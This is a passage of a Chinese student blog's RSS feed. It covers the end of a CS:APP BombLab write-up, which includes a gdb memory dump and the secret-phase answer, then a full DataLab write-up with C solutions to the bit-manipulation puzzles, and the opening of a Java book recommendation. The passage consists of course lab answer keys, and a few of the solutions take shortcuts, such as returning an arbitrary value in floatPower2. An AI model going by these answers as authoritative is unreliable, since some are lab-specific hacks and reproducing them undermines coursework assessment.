0x603180 &amp;lt;n33+16&amp;gt;:      0x00603290      0x00000000      0x00000000      0x00000000
0x603190 &amp;lt;n31&amp;gt;: 0x00000006      0x00000000      0x006031f0      0x00000000
0x6031a0 &amp;lt;n31+16&amp;gt;:      0x00603250      0x00000000      0x00000000      0x00000000
0x6031b0 &amp;lt;n34&amp;gt;: 0x0000006b      0x00000000      0x00603210      0x00000000
0x6031c0 &amp;lt;n34+16&amp;gt;:      0x006032b0      0x00000000      0x00000000      0x00000000
0x6031d0 &amp;lt;n45&amp;gt;: 0x00000028      0x00000000      0x00000000      0x00000000
0x6031e0 &amp;lt;n45+16&amp;gt;:      0x00000000      0x00000000      0x00000000      0x00000000
0x6031f0 &amp;lt;n41&amp;gt;: 0x00000001      0x00000000      0x00000000      0x00000000
0x603200 &amp;lt;n41+16&amp;gt;:      0x00000000      0x00000000      0x00000000      0x00000000
0x603210 &amp;lt;n47&amp;gt;: 0x00000063      0x00000000      0x00000000      0x00000000
0x603220 &amp;lt;n47+16&amp;gt;:      0x00000000      0x00000000      0x00000000      0x00000000
0x603230 &amp;lt;n44&amp;gt;: 0x00000023      0x00000000      0x00000000      0x00000000
0x603240 &amp;lt;n44+16&amp;gt;:      0x00000000      0x00000000      0x00000000      0x00000000
0x603250 &amp;lt;n42&amp;gt;: 0x00000007      0x00000000      0x00000000      0x00000000
0x603260 &amp;lt;n42+16&amp;gt;:      0x00000000      0x00000000      0x00000000      0x00000000
0x603270 &amp;lt;n43&amp;gt;: 0x00000014      0x00000000      0x00000000      0x00000000
0x603280 &amp;lt;n43+16&amp;gt;:      0x00000000      0x00000000      0x00000000      0x00000000
0x603290 &amp;lt;n46&amp;gt;: 0x0000002f      0x00000000      0x00000000      0x00000000
0x6032a0 &amp;lt;n46+16&amp;gt;:      0x00000000      0x00000000      0x00000000      0x00000000
0x6032b0 &amp;lt;n48&amp;gt;: 0x000003e9      0x00000000      0x00000000      0x00000000
0x6032c0 &amp;lt;n48+16&amp;gt;:      0x00000000      0x00000000      0x00000000      0x00000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后画个图&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;最后得出两个答案，提交其中一个就行了：&lt;code&gt;22&lt;/code&gt;或者&lt;code&gt;20&lt;/code&gt;（即&lt;code&gt;0x16&lt;/code&gt;或&lt;code&gt;0x14&lt;/code&gt;）&lt;/p&gt;
&lt;h2&gt;完结撒花(真的)&lt;/h2&gt;
&lt;p&gt;没错！现在才是真的结束，命令行输出如下结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;situ@ubuntu:~/Desktop/solutions-csapp/labs/bomb$ ./bomb answer.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
That&apos;s number 2.  Keep going!
Halfway there!
So you got that one.  Try this one.
Good work!  On to the next...
Curses, you&apos;ve found the secret phase!
But finding it and solving it are quite different...
Wow! You&apos;ve defused the secret stage!
Congratulations! You&apos;ve defused the bomb!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;课业繁重，于是这炸弹有空就拆拆，用了一周，断断续续，才把这个炸弹给拆除。&lt;/p&gt;
&lt;p&gt;其中爆炸了两次，&lt;s&gt;一次是我把&lt;code&gt;phase_6&lt;/code&gt;的大于比较看错成了小于&lt;/s&gt;，还有一次是断点打歪了QAQ&lt;/p&gt;
&lt;p&gt;开始前需要了解一下gdb的用法，好在这本书的官网给了我们两页纸的常用命令。用着用着就熟悉起来了。&lt;/p&gt;
&lt;p&gt;然后题目的难度逐级提升，越到后面越困难，不过实质上也就是语句，分支，循环，函数，指针，数组，结构体罢了。&lt;/p&gt;
&lt;p&gt;&lt;s&gt;其实把这些东西综合起来，难度就指数级增长了&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;一圈下来算是增强了对汇编的了解，对内存与栈的理解以及对多级指针和内存地址的理解吧&lt;/p&gt;
</content:encoded><category>Lab</category></item><item><title>Writeup for DataLab</title><link>https://situ2001.com/blog/csapp/datalab-writeup/</link><guid isPermaLink="true">https://situ2001.com/blog/csapp/datalab-writeup/</guid><description>CS:APP的DataLab事后复盘</description><pubDate>Mon, 13 Sep 2021 09:10:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;动机&lt;/h2&gt;
&lt;p&gt;这个周末待在了实验室，窝了一天。终于把CS:APP这本书的第一个实验datalab给做完了。&lt;/p&gt;
&lt;p&gt;我是把B站上面对应本书第二章的15-213的视频都过一遍之后在慢慢啃书的。&lt;/p&gt;
&lt;p&gt;看这章的时候，证明实在有点多，时不时还要用笔纸亲手验一次。就这样花了一周左右的空闲时间，把chapter2过完了，除了家庭作业，每一小节附带的练习题目都做了一次。&lt;/p&gt;
&lt;p&gt;心想：&lt;s&gt;这些练习题都没什么难度啊，datalab还能难到我？&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;直到我花了&lt;strong&gt;两天&lt;/strong&gt;的晚上做完datalab...可怕，这就是CMU大二本科生水平吗？？？&lt;/p&gt;
&lt;p&gt;实在太可怕了，得好好写篇wp总结一下&lt;/p&gt;
&lt;h2&gt;写在前面&lt;/h2&gt;
&lt;p&gt;首先，我做的lab是从&lt;a href=&quot;http://csapp.cs.cmu.edu/3e/labs.html&quot;&gt;http://csapp.cs.cmu.edu/3e/labs.html&lt;/a&gt;这里下载的，是Self-study Handout版本&lt;/p&gt;
&lt;p&gt;然后，环境为Ubuntu 20.04，gcc 9.3.0&lt;/p&gt;
&lt;p&gt;根据&lt;code&gt;README&lt;/code&gt;，测试的时候只需要在lab目录下执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;make btest &amp;amp;&amp;amp; ./btest
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此外，&lt;code&gt;README&lt;/code&gt;还说明了各种文件的用途，以及一些小工具的使用&lt;/p&gt;
&lt;p&gt;同时，&lt;code&gt;bits.c&lt;/code&gt;里头也告诉我们关于该实验代码的限制&lt;/p&gt;
&lt;p&gt;如需检查代码是否符合实验要求，可执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./dlc bits.c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下面步入正题&lt;/p&gt;
&lt;h2&gt;Integer&lt;/h2&gt;
&lt;p&gt;整数部分开始&lt;/p&gt;
&lt;p&gt;在开始前，先提及几个点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;int类型的整数为补码数&lt;/li&gt;
&lt;li&gt;右移为算术移位&lt;/li&gt;
&lt;li&gt;可通过一次或两次逻辑非将数字转化为0或1&lt;/li&gt;
&lt;li&gt;考虑溢出&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;bitXor&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* 
 * bitXor - x^y using only ~ and &amp;amp; 
 *   Example: bitXor(4, 5) = 1
 *   Legal ops: ~ &amp;amp;
 *   Max ops: 14
 *   Rating: 1
 */
int bitXor(int x, int y) {
    /* First convert XOR to combination of AND and OR, then apply De Morgan&apos;s laws. */
    return ~(~x &amp;amp; ~y) &amp;amp; ~(x &amp;amp; y);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不是很难，首先看到只能用按位与和按位否运算符。如果我们学过离散数学，那么就会很容易想到德摩根律，先用或和与表达出&lt;code&gt;x^y&lt;/code&gt;吧&lt;/p&gt;
&lt;p&gt;$$x\oplus y=(x|y)\And \sim(x\And y)$$&lt;/p&gt;
&lt;p&gt;那么把右侧含与运算符的表达式代入至德摩根律&lt;/p&gt;
&lt;p&gt;$$(x|y)=(\sim x) \And (\sim y)$$&lt;/p&gt;
&lt;p&gt;便可得题目答案&lt;/p&gt;
&lt;h3&gt;tmin&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* 
 * tmin - return minimum two&apos;s complement integer 
 *   Legal ops: ! ~ &amp;amp; ^ | + &amp;lt;&amp;lt; &amp;gt;&amp;gt;
 *   Max ops: 4
 *   Rating: 1
 */
int tmin(void) {
    // Simply perform right shift 31 of bit on 1
    return 1 &amp;lt;&amp;lt; 31;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;送分题不解释，只要知道补码数的bit pattern就行了。&lt;/p&gt;
&lt;p&gt;补码数的二十转换公式如下&lt;/p&gt;
&lt;p&gt;$$B2T_w(x)=-2^{w-1}*x_{w-1}+\sum^{w-2}_{i=0}2^{i}*x_i$$&lt;/p&gt;
&lt;h3&gt;isTmax&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/*
 * isTmax - returns 1 if x is the maximum, two&apos;s complement number,
 *     and 0 otherwise 
 *   Legal ops: ! ~ &amp;amp; ^ | +
 *   Max ops: 10
 *   Rating: 1
 */
int isTmax(int x) {
    // If x = TMax
    // x + 1 =&amp;gt; 0x80000000, x + (x + 1) =&amp;gt; 0xffffffff, ~(x + (x + 1)) =&amp;gt; 0x0
    // Consider 0xffffffff(-1), so we should plus !(x+1)
    // And also think of how to convert result from number logically to 1 or 0
    return !(~(x + (x + 1)) + !(x + 1));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;判断x是否为Tmax，利用满溢的性质：当x为Tmax的时候，对其加1就会变为Tmin，接着两者相加就会变为0&lt;/p&gt;
&lt;p&gt;但如果x是-1，那么对其进行上述操作，其结果依旧是0。所以我们要给判断加上一个约束条件&lt;code&gt;!(x+1)&lt;/code&gt;。最后对这个加法表达式进行取反，便可得出答案&lt;/p&gt;
&lt;h3&gt;addOddBits&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* 
 * allOddBits - return 1 if all odd-numbered bits in word set to 1
 *   where bits are numbered from 0 (least significant) to 31 (most significant)
 *   Examples allOddBits(0xFFFFFFFD) = 0, allOddBits(0xAAAAAAAA) = 1
 *   Legal ops: ! ~ &amp;amp; ^ | + &amp;lt;&amp;lt; &amp;gt;&amp;gt;
 *   Max ops: 12
 *   Rating: 2
 */
int allOddBits(int x) {
    // Construct a mask, do not forget priority of operator
    int mask = ((0xaa + (0xaa &amp;lt;&amp;lt; 8)) &amp;lt;&amp;lt; 16) + (0xaa + (0xaa &amp;lt;&amp;lt; 8));
    // First perform &amp;amp; on mask and x then ^ on mask and x
    return !(mask ^ (mask &amp;amp; x));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;要检查奇数位是否都为1，我们自然而然会想到构造掩码进行操作。&lt;/p&gt;
&lt;p&gt;但是你要注意到README里头说了一句话：&lt;code&gt;Integer constants 0 through 255 (0xFF), inclusive.&lt;/code&gt;因此我们只能构造一个在这个范围内的掩码&lt;code&gt;0xaa&lt;/code&gt;，然后对其进行移位操作，构造出最后的掩码。&lt;/p&gt;
&lt;p&gt;将掩码与x进行按位与操作，此时只留下了奇数位的数据，但此时我们依旧不能判断出奇数位是不是都为1，所以要加上一步异或运算（判断两数是否相等），用于判断这个情况。&lt;/p&gt;
&lt;p&gt;最后使用非运算符取0或1，得出答案&lt;/p&gt;
&lt;h3&gt;negate&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* 
 * negate - return -x 
 *   Example: negate(1) = -1.
 *   Legal ops: ! ~ &amp;amp; ^ | + &amp;lt;&amp;lt; &amp;gt;&amp;gt;
 *   Max ops: 5
 *   Rating: 2
 */
int negate(int x) {
    // Well-known qu fan zai jia 1 (NOT then add1)
    return ~x + 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前面那个&lt;code&gt;tmin&lt;/code&gt;算啥送分题，这个才是真正的送分题！（&lt;/p&gt;
&lt;p&gt;&lt;s&gt;取反加一，上过计组，大陆学生，人尽皆知&lt;/s&gt;。不过详细的证明过程在书上，可以去看看&lt;/p&gt;
&lt;h3&gt;isAsciiDigit&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* 
 * isAsciiDigit - return 1 if 0x30 &amp;lt;= x &amp;lt;= 0x39 (ASCII codes for characters &apos;0&apos; to &apos;9&apos;)
 *   Example: isAsciiDigit(0x35) = 1.
 *            isAsciiDigit(0x3a) = 0.
 *            isAsciiDigit(0x05) = 0.
 *   Legal ops: ! ~ &amp;amp; ^ | + &amp;lt;&amp;lt; &amp;gt;&amp;gt;
 *   Max ops: 15
 *   Rating: 3
 */
int isAsciiDigit(int x) {
    // if 39 - x &amp;gt;= 0 and x - 30 &amp;gt;= 0, then yes
    int neg_x = ~x + 1;
    int res1 = 0x39 + neg_x;
    int res2 = x + (~(0x30) + 1);
    // How to check wether a result is negative or not? Use sign bit
    return !((res1 &amp;gt;&amp;gt; 31) | (res2 &amp;gt;&amp;gt; 31));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如何判断一个数是否落在[30, 39]这个范围？我想我们可以给两个数作差。但是题目这里只给了加号，没有减号。但这并不妨碍我们给第二个加数取相反数。&lt;/p&gt;
&lt;p&gt;最后判断两者是不是都大于等于0即可。&lt;/p&gt;
&lt;p&gt;当时我在这里卡了好一会，一直在想&lt;code&gt;res1&lt;/code&gt;和&lt;code&gt;res2&lt;/code&gt;是不是有溢出的可能，如果x是取反还是Tmin的Tmin呢？但好像并没有什么问题（即使有一个很大的x让这两个表达式的结果溢出了，也没法满足两式大于等于0&lt;/p&gt;
&lt;h3&gt;conditional&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* 
 * conditional - same as x ? y : z 
 *   Example: conditional(2,4,5) = 4
 *   Legal ops: ! ~ &amp;amp; ^ | + &amp;lt;&amp;lt; &amp;gt;&amp;gt;
 *   Max ops: 16
 *   Rating: 3
 */
int conditional(int x, int y, int z) {
    // if x = 0, return z, else y
    // So how to check wether x is 0 or not?
    int condition = !!x; // integer =&amp;gt; 0 or 1
    condition = ~condition + 1; // 0 or 1 =&amp;gt; 0x00000000 or 0xffffffff
    return (condition &amp;amp; y) | (~condition &amp;amp; z); // use condition as a mask
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用位运算符实现三目元算符，有趣的问题。实际我们可以看到，返回y还是返回z，是由x为不为0决定的。所以我们第一步先把x转换为0或1，接着取反，得到位模式&lt;code&gt;0x0&lt;/code&gt;或&lt;code&gt;0xffffffff&lt;/code&gt;，最后拿着这个位模式当掩码去掩一下y和z，最后就会返回想要的结果了。&lt;/p&gt;
&lt;h3&gt;isLessOrEqual&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* 
 * isLessOrEqual - if x &amp;lt;= y  then return 1, else return 0 
 *   Example: isLessOrEqual(4,5) = 1.
 *   Legal ops: ! ~ &amp;amp; ^ | + &amp;lt;&amp;lt; &amp;gt;&amp;gt;
 *   Max ops: 24
 *   Rating: 3
 */
int isLessOrEqual(int x, int y) {
    int neg_x = ~x + 1;
    // Case1: when y+ and x-
    int y_pos_x_neg = ((x &amp;gt;&amp;gt; 31 &amp;amp; 0x1)) &amp;amp; (!(y &amp;gt;&amp;gt; 31 &amp;amp; 0x1));
    // Case2: If signs of x and y are the same, we should test if result of sub &amp;gt; 0
    int same_sign = !((x &amp;gt;&amp;gt; 31) ^ (y &amp;gt;&amp;gt; 31));
    int sub_comparsion = !((y + neg_x) &amp;gt;&amp;gt; 31);
    int sub_more_than_zero = same_sign &amp;amp; sub_comparsion;
    // Case3: x == y
    int equal = !(x ^ y);
    return equal | sub_more_than_zero | y_pos_x_neg;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题要我们只用逻辑运算符实现小于等于运算符。首先想到的肯定是：y和x两者作差的结果大于等于0不就行了吗？&lt;/p&gt;
&lt;p&gt;但是考虑到&lt;/p&gt;
&lt;p&gt;$$y-x&amp;gt;2^{w-1}-1$$&lt;/p&gt;
&lt;p&gt;或者&lt;/p&gt;
&lt;p&gt;$$y-x&amp;lt;-2^{w-1}$$&lt;/p&gt;
&lt;p&gt;此时就会溢出，而当xy都同号(0的符号位为0)的时候，相减便不会溢出的情况。&lt;/p&gt;
&lt;p&gt;再考虑到，其实如果x负y正，结果就可想而知了。因此加入考虑条件中去。最后再加一个x恒等于y的判断即可。&lt;/p&gt;
&lt;p&gt;那个时候已经很晚了，属于是爆肝了。大脑转速也下降，只好用非运算符一把梭变为0或1，然后用按位与进行结果的输出（只要满足其中一个条件，就可以认为x&amp;lt;=y&lt;/p&gt;
&lt;h3&gt;howManyBits&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* howManyBits - return the minimum number of bits required to represent x in
 *             two&apos;s complement
 *  Examples: howManyBits(12) = 5
 *            howManyBits(298) = 10
 *            howManyBits(-5) = 4
 *            howManyBits(0)  = 1
 *            howManyBits(-1) = 1
 *            howManyBits(0x80000000) = 32
 *  Legal ops: ! ~ &amp;amp; ^ | + &amp;lt;&amp;lt; &amp;gt;&amp;gt;
 *  Max ops: 90
 *  Rating: 4
 */
int howManyBits(int x) {
    int sign = x &amp;gt;&amp;gt; 31;
    // If x &amp;lt; 0, perform ~ on it
    int target = sign ^ x;
    // printf(&quot;x=%.8x sign=%.8x target=%.8x\n&quot;, x, sign, target);
    // Either pos or neg, find the position of the highest 1
    int res = 0;
    // How to get the position?
    // Use !! =&amp;gt; 0 or 1, then let it right shifts x bit
    // We can divide it equally
    // Note: if variables are not declared first, there will be errors when you run ./dic with this file
    int higher_16_bit, higher_8_bit, higher_4_bit, higher_2_bit, higher_1_bit;
    // If there is any 1 in higher 16 bits, add 16
    higher_16_bit = !!(target &amp;gt;&amp;gt; 16) &amp;lt;&amp;lt; 4;
    // printf(&quot;target=%x\n&quot;, target);
    target &amp;gt;&amp;gt;= higher_16_bit;
    // divide the higher 16 bits into 8 bits
    higher_8_bit = !!(target &amp;gt;&amp;gt; 8) &amp;lt;&amp;lt; 3;
    // printf(&quot;target=%x\n&quot;, target);
    target &amp;gt;&amp;gt;= higher_8_bit;
    // the same
    higher_4_bit = !!(target &amp;gt;&amp;gt; 4) &amp;lt;&amp;lt; 2;
    // printf(&quot;target=%x\n&quot;, target);
    target &amp;gt;&amp;gt;= higher_4_bit;
    higher_2_bit = !!(target &amp;gt;&amp;gt; 2) &amp;lt;&amp;lt; 1;
    // printf(&quot;target=%x\n&quot;, target);
    // target &amp;gt;&amp;gt;= higher_4_bit;
    target &amp;gt;&amp;gt;= higher_2_bit; // WTF!
    higher_1_bit = !!(target &amp;gt;&amp;gt; 1) &amp;lt;&amp;lt; 0;
    // printf(&quot;target=%x\n&quot;, target);
    target &amp;gt;&amp;gt;= higher_1_bit;
    res += (higher_16_bit + higher_8_bit + higher_4_bit + higher_2_bit + higher_1_bit);
    // printf(&quot;target=%d\n&quot;, target);
    return res + target + 1; // + remaining target and sign bit
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们首先想，用几个位就能表示出一个指定的数字呢？首先看看题目给的用例&lt;code&gt;howManyBits(12) = 5&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;明明&lt;code&gt;12=1100&lt;/code&gt;啊，为什么要用5个数字呢？其实再想一步，int是补码数啊！所以最高位应该是一个负权重的位，因此12最少要用5位数进行比较，即&lt;code&gt;12=01100&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后数字分为正数负数，那么，此时我们分为两类情况，是正数就要判最高的1在第几位，然后往结果加一，负数的话，由于&lt;strong&gt;sign extension&lt;/strong&gt;这个性质，我们只需要从高到低找到第一个0的位置，然后往结果加一即可。&lt;/p&gt;
&lt;p&gt;既然是找到最高的0，那何不妨把负数的位模式取反？这下就变成不论正负数，只需找到最高的1所在的位置即可。&lt;/p&gt;
&lt;p&gt;下面就要在这些恶心的限制条件下，找出最高的1的位置了。&lt;/p&gt;
&lt;p&gt;比如我有一个位模式&lt;/p&gt;
&lt;p&gt;$$\vec{x}=01011010$$&lt;/p&gt;
&lt;p&gt;该怎么求出最高的1的位置7呢？思考片刻，我们可以想到，二分如何？如果高4位没有则把范围缩小到低4位，接着在这低4位中继续二分，直到找到1的位置为止（很明显的递归，base条件为范围缩小到1位）&lt;/p&gt;
&lt;p&gt;但这里只能用逻辑运算符。。。所以该怎么用逻辑运算符进行范围缩小呢？比如高16位没有，我就缩小到低16位，反之则缩小到高16位了。。。&lt;/p&gt;
&lt;p&gt;有了，我们可以使用移位乘法，分两个变量，一个用来存储缩小范围后的位模式，一个用来存放此时的位置。最后在往位置上加回此时仅剩下一位的target（如果target为1就要+1来确定位置）再加一（表示需要一个负权重最高位）即得到最终答案。&lt;/p&gt;
&lt;p&gt;有趣的是，我不小心typo了，&lt;s&gt;把2打成了4，导致我又卡了好一小会（见上方注释&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;至此，整数部分完美结束&lt;/p&gt;
&lt;h2&gt;Floating-points&lt;/h2&gt;
&lt;p&gt;浮点数部分开始&lt;/p&gt;
&lt;p&gt;惯例，在开始前，我们要注意下面几点&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;浮点数的公式&lt;/li&gt;
&lt;li&gt;浮点数的位模式表示&lt;/li&gt;
&lt;li&gt;整数与浮点数的转化&lt;/li&gt;
&lt;li&gt;Rounding舍去&lt;/li&gt;
&lt;li&gt;浮点数算术运算无溢出&lt;/li&gt;
&lt;li&gt;浮点数的几种表示方法（Normalized，DeNormalized，NaN，Infinity，+0，-0）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;floatScale2&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* 
 * floatScale2 - Return bit-level equivalent of expression 2*f for
 *   floating point argument f.
 *   Both the argument and result are passed as unsigned int&apos;s, but
 *   they are to be interpreted as the bit-level representation of
 *   single-precision floating point values.
 *   When argument is NaN, return argument
 *   Legal ops: Any integer/unsigned operations incl. ||, &amp;amp;&amp;amp;. also if, while
 *   Max ops: 30
 *   Rating: 4
 */
unsigned floatScale2(unsigned uf) {
    // printf(&quot;uf=%.8x\n&quot;, uf);
    int sign = (uf &amp;gt;&amp;gt; 31) &amp;amp; 0x1; // 0 or 1
    unsigned exp = (uf &amp;gt;&amp;gt; 23) &amp;amp; 0xff;
    // printf(&quot;exp=0x%.8x\n&quot;, exp);
    if (exp == 0xff) return uf; // NaN
    if (exp == 0x0) { // If exp = 0(Denoarmalized), just &amp;lt;&amp;lt; 1
        // printf(&quot;uf=0x%.8x exp=0x%.8x\n&quot;, uf, exp);
        // simply *2 then add back sign bit
        return (uf &amp;lt;&amp;lt; 1) | (sign &amp;lt;&amp;lt; 31);
    }
    exp = exp + 1;
    if (exp &amp;gt;= 0xff) { // +- Infinity
        return (exp &amp;lt;&amp;lt; 23) | (uf &amp;amp; 0x8fffffff);
    }
    // use 0x807fffff to remove exp of uf
    return (uf &amp;amp; 0x807fffff) | (exp &amp;lt;&amp;lt; 23);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;观察浮点数表示的公式：乘2，实质也就是给exp加一罢了&lt;/p&gt;
&lt;p&gt;不过要考虑到特殊情况——乘2之前的NaN，乘2之后的infinity——exp达到&lt;code&gt;0xff&lt;/code&gt;，就要变为Infinity了&lt;/p&gt;
&lt;p&gt;有趣的是，一番笔算之后发现：Denorm乘2之后如果变为norm，依旧只需左移1位然后加回符号位，IEEE标准，实在是高！&lt;/p&gt;
&lt;p&gt;最后把原来数字的exp替换成处理后的exp就得到答案了~&lt;/p&gt;
&lt;h3&gt;floatFloat2Int&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* 
 * floatFloat2Int - Return bit-level equivalent of expression (int) f
 *   for floating point argument f.
 *   Argument is passed as unsigned int, but
 *   it is to be interpreted as the bit-level representation of a
 *   single-precision floating point value.
 *   Anything out of range (including NaN and infinity) should return
 *   0x80000000u.
 *   Legal ops: Any integer/unsigned operations incl. ||, &amp;amp;&amp;amp;. also if, while
 *   Max ops: 30
 *   Rating: 4
 */
int floatFloat2Int(unsigned uf) {
    int bias = 127;
    int sign = (uf &amp;gt;&amp;gt; 31) &amp;amp; 0x1; // 0 or 1
    int exp = (uf &amp;gt;&amp;gt; 23) &amp;amp; 0xff;
    int frac = uf &amp;amp; 0x7fffff;
    int E = exp - bias;
    // printf(&quot;ul=0x%.8x E=%d\n&quot;, uf, E);

    // Cases
    // if E &amp;gt; 31 =&amp;gt; Out of Range
    if (E &amp;gt; 31) return 0x80000000u;
    // if E &amp;lt; 0 =&amp;gt; 0
    if (E &amp;lt; 0) return 0;
    // From here, we should just consider the normalized form
    // right shift the floating point of frac
    // if 23 - E &amp;lt; 0
    int tmp;
    if (E &amp;gt; 23) {
        tmp = frac &amp;lt;&amp;lt; (E - 23);
    } else {
        tmp = frac &amp;gt;&amp;gt; (23 - E);
    }
    // printf(&quot;tmp=0x%.8x\n&quot;, tmp);
    tmp = tmp &amp;amp; (~(0x80000000 &amp;gt;&amp;gt; (23 - E - 1)));
    // add back sign bit
    // tmp = tmp | (sign &amp;lt;&amp;lt; 31);
    // add 1 to first
    tmp = tmp | (1 &amp;lt;&amp;lt; E);
    // printf(&quot;tmp=0x%.8x uf=0x%.8x\n&quot;, tmp, uf);
    // ~x + 1 if sign == 1
    if (sign == 1) return ~tmp + 1;
    return tmp;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题教我们如何把一个浮点数化成整数，懂浮点数的人都知道，浮点数的值可以用这个公式表示&lt;/p&gt;
&lt;p&gt;$$V=(-1)^{s}&lt;em&gt;M&lt;/em&gt;2^E$$&lt;/p&gt;
&lt;p&gt;又因为int最大也只能是31次方的，超了就溢出；&lt;/p&gt;
&lt;p&gt;又因为整数不能表示小数，所以不能表示负数次方的，统统返回0，且Denorm的浮点数都是小于1的，所以我们就排除了Denorm转整数的情况。&lt;/p&gt;
&lt;p&gt;下面只需要考虑Norm的浮点数了。&lt;/p&gt;
&lt;p&gt;看过书的都知道，如果我们有一个十进制数字12345(0x3039)，则有&lt;/p&gt;
&lt;p&gt;$$T2B_{32}(12345)=11000000111001$$&lt;/p&gt;
&lt;p&gt;科学计数法一波&lt;/p&gt;
&lt;p&gt;$$1.1000000111001*2^{13}$$&lt;/p&gt;
&lt;p&gt;再把它与浮点数的表示公式对一下，可以看出&lt;/p&gt;
&lt;p&gt;$$E=13$$&lt;/p&gt;
&lt;p&gt;$$M=1.1000000111001$$&lt;/p&gt;
&lt;p&gt;因此可以算出exp和bias了。&lt;/p&gt;
&lt;p&gt;此时我们逆着推一遍，问题即可破解&lt;/p&gt;
&lt;p&gt;首先把浮动的小数点给移回去（根据E来决定移动位数），注意要判断一下是否超出23，超了就要往后面继续补0（左移对应位数即可），否则就是把小数点移回去（右移）&lt;/p&gt;
&lt;p&gt;额，右移的话，万一最高位是1呢？因此又得想办法掩去高位的数据&lt;/p&gt;
&lt;p&gt;因此这里使用了一个丑陋的方法来掩去：&lt;code&gt;~(0x80000000 &amp;gt;&amp;gt; (23 - E - 1))&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;接着再把符号位放回去即可。最后返回结果，即为答案&lt;/p&gt;
&lt;h3&gt;floatPower2&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* 
 * floatPower2 - Return bit-level equivalent of the expression 2.0^x
 *   (2.0 raised to the power x) for any 32-bit integer x.
 *
 *   The unsigned value that is returned should have the identical bit
 *   representation as the single-precision floating-point number 2.0^x.
 *   If the result is too small to be represented as a denorm, return
 *   0. If too large, return +INF.
 * 
 *   Legal ops: Any integer/unsigned operations incl. ||, &amp;amp;&amp;amp;. Also if, while 
 *   Max ops: 30 
 *   Rating: 4
 */
unsigned floatPower2(int x) {
    int bias = 127;
    // Check out figure 2.36 on the book
    // &amp;gt; largest norm
    if (x &amp;gt; 127) return 0x7f800000;
    // &amp;lt; smallest denorm
    if (x &amp;lt; (-23-126)) return 0;
    // in [smallest norm, largest norm]
    if (x &amp;gt;= -126 &amp;amp;&amp;amp; x &amp;lt;= 127) return (bias + x) &amp;lt;&amp;lt; 23;
    // when x &amp;lt; -126 &amp;amp;&amp;amp; x &amp;gt;= (-23-126), it is Denorm, so bits of exp are irrelevant in this case.
    return 114514; // So we can return any number :)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;...这题不搁着喂你分吃？请直接查看书本上的这幅图&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;然后由于DeNormalized的E是这样的&lt;/p&gt;
&lt;p&gt;$$E=1-Bias$$&lt;/p&gt;
&lt;p&gt;因此这已经不关&lt;code&gt;exp&lt;/code&gt;位什么事了，因此我们随便返回一个数字（&lt;/p&gt;
&lt;p&gt;好了，题目完结，真的是太顶了。&lt;/p&gt;
</content:encoded><category>Lab</category></item><item><title>安利一本程序设计书</title><link>https://situ2001.com/blog/notes/java-book-recommendation/</link><guid isPermaLink="true">https://situ2001.com/blog/notes/java-book-recommendation/</guid><description>一本用于入门程序设计(Java)的神书</description><pubDate>Sat, 28 Aug 2021 14:21:12 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;大一结束，这本书已经成为了我学习道路上不可或缺的一环了，满怀感恩，决定推荐给大家&lt;/p&gt;
&lt;h2&gt;动机&lt;/h2&gt;
&lt;p&gt;我不是一个只会无脑推销的人&lt;/p&gt;
&lt;p&gt;但是&lt;/p&gt;
&lt;p&gt;这波啊，这波是第一次写博客来推销书籍 —— Introduction to Java programming&lt;/p&gt;
